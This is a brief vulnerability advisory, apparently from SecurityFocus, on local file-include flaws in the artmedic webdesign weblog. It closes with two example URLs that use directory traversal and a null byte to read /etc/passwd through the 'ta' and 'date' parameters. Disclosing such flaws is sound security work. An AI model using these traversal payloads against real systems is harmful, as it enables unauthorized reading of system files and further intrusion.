source: https://www.securityfocus.com/bid/27797/info

artmedic webdesign weblog is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application. 

http://www.example.com/artmedic_weblog/index.php?ta=../../../../../../../../../../etc/passwd%00
http://www.example.com/artmedic_weblog/artmedic_print.php?date=../../../../../../../../../../etc/passwd%00